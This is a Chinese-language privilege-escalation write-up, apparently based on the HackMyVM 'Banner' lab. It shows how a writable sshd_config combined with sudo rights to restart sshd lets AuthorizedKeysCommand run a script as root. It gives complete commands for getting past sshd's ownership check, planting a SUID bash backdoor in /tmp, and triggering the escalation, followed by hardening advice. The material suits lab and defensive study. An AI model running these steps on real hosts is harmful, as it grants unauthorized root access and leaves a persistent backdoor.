sshd AuthorizedKeysCommand 配置劫持提权
在 Linux 主机权限评估过程中,除了常规的 SUID 程序与 Sudo 规则外,核心系统服务的配置文件权限同样属于关键审计项。如果 OpenSSH 服务配置文件 /etc/ssh/sshd_config(或 /etc/ssh/sshd_config.d/*.conf)被错误赋予了低权限用户可写权限,且当前用户拥有重启 SSH 服务的权限(如 sudo /usr/sbin/service ssh restart 或同等能力的脚本),即可通过配置 AuthorizedKeysCommand 指令,在客户端尝试公钥认证时以指定特权用户身份执行任意命令,实现本地权限提升。
漏洞成因与触发机制
OpenSSH 守护进程(sshd)提供 AuthorizedKeysCommand 与 AuthorizedKeysCommandUser 指令,用于在登录认证期间通过外部程序动态获取用户的公钥信息(常用于 LDAP 或中心化公钥分发场景):
AuthorizedKeysCommand /path/to/binary %u
AuthorizedKeysCommandUser root
- 执行时机:当任何远程客户端向该 SSHD 服务发起公钥认证请求时,服务端在读取用户本地
authorized_keys文件之前或之后,会自动以AuthorizedKeysCommandUser指定的用户身份(通常配置为root)同步执行该命令。 - 无需认证成功:即便客户端提交的公钥并不匹配、认证最终失败,在握手阶段公钥查询指令已经被执行完毕。因此攻击者只需向本地或远程 SSH 端口触发一次公钥握手即可激活载荷。
判断前提与审计条件
满足以下全部或组合条件时,该提权路径成立:
| 条件项 | 检查命令 / 表现 | 说明 |
|---|---|---|
| 配置可写权限 | ls -la /etc/ssh/sshd_config 显示对当前用户或其所属组具备写权限(如 0666 或 0664) | 低权限用户可篡改或追加指令 |
| 服务重启权限 | sudo -l 允许免密重启 ssh 服务(如 sudo service sshd restart)或存在定时重载脚本 | 促使 sshd 重新读取被篡改的配置 |
| 允许公钥认证 | 配置中 PubkeyAuthentication yes 未被全局禁用 | 保证公钥握手阶段能触发查询命令 |
安全检查机制与绕过手法
OpenSSH 自身对 AuthorizedKeysCommand 存在严格的安全校验:
- 指定的可执行文件必须由
root所有; - 该文件及其上级所有父目录不可对除 root 外的其他用户可写。
如果直接指定普通用户目录下的脚本(如 /home/user/privesc.sh),sshd 会在启动或认证时拒绝执行该指令。
绕过方法:利用系统自带解释器作为可执行程序
将 root 拥有的合法系统解释器(如 /bin/bash、/bin/sh)作为程序本身,而将低权限用户可写的脚本作为命令行参数传入:
AuthorizedKeysCommand /bin/bash /home/lowuser/payload.sh
AuthorizedKeysCommandUser root
由于 /bin/bash 的属主是 root 且上级目录权限合规,sshd 自身的程序属主校验会顺利通过;而当命令执行时,/bin/bash 便会以 root 身份加载并执行第二参数指定的提权脚本。
标准提权复现流程
Step 1:准备提权脚本
在低权限用户可控目录创建提权脚本,赋予执行权限:
cat << 'EOF' > /tmp/escalate.sh
#!/bin/bash
# 复制 bash 并赋予 SUID 权限作为持久化后门
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/escalate.sh
Step 2:追加恶意指令到 sshd_config
在配置末尾追加以下指令:
cat << 'EOF' >> /etc/ssh/sshd_config
# Privilege Escalation Trigger
PubkeyAuthentication yes
AuthorizedKeysCommand /bin/bash /tmp/escalate.sh
AuthorizedKeysCommandUser root
EOF
Step 3:重启或重载 SSHD 服务
利用持有的 sudo 或特权命令重启服务使配置生效:
sudo /usr/sbin/service sshd restart
# 或 systemctl 形式
sudo /bin/systemctl restart ssh
Step 4:触发公钥认证请求
在本地对 SSH 端口发起任意公钥认证探测(无需有效私钥):
# -o PubkeyAuthentication=yes 强制触发公钥协商
ssh -o StrictHostKeyChecking=no -o PubkeyAuthentication=yes [email protected] -i /dev/null 2>/dev/null || true
Step 5:验证与提权验证
检查生成的特权文件并获取 root 权限:
ls -l /tmp/rootbash
/tmp/rootbash -p
id
防御建议与安全加固
- 严格限制配置文件权限:
/etc/ssh/sshd_config及其所在目录必须由root:root所有,文件权限应设为严格的0600或0644,禁止对非 root 用户开放写权限。 - 收紧 sudo 权限控制:避免授予普通用户无限制的
service sshd restart或systemctl restart ssh权限;若运维需要,应使用经过安全加固的自动化部署管道。 - 安全配置 AuthorizedKeysCommand:
- 确保被调用的命令及其调用的所有辅助脚本均由
root所有且不可被普通用户修改; - 禁用将脚本文件作为参数传给解释器的写法,尽量使用编译型的只读二进制程序。
- 确保被调用的命令及其调用的所有辅助脚本均由
- 定期审计 SSH 服务配置基线:使用配置合规检查工具(如 Lynis、OpenSCAP)定期巡检系统服务配置文件的权限完整性。
来源案例
- HackMyVM Banner:靶机中
/etc/ssh/sshd_config存在宽松写权限,结合 Sudo 重启权限,利用AuthorizedKeysCommand /bin/bash <script>成功提升至 root 权限。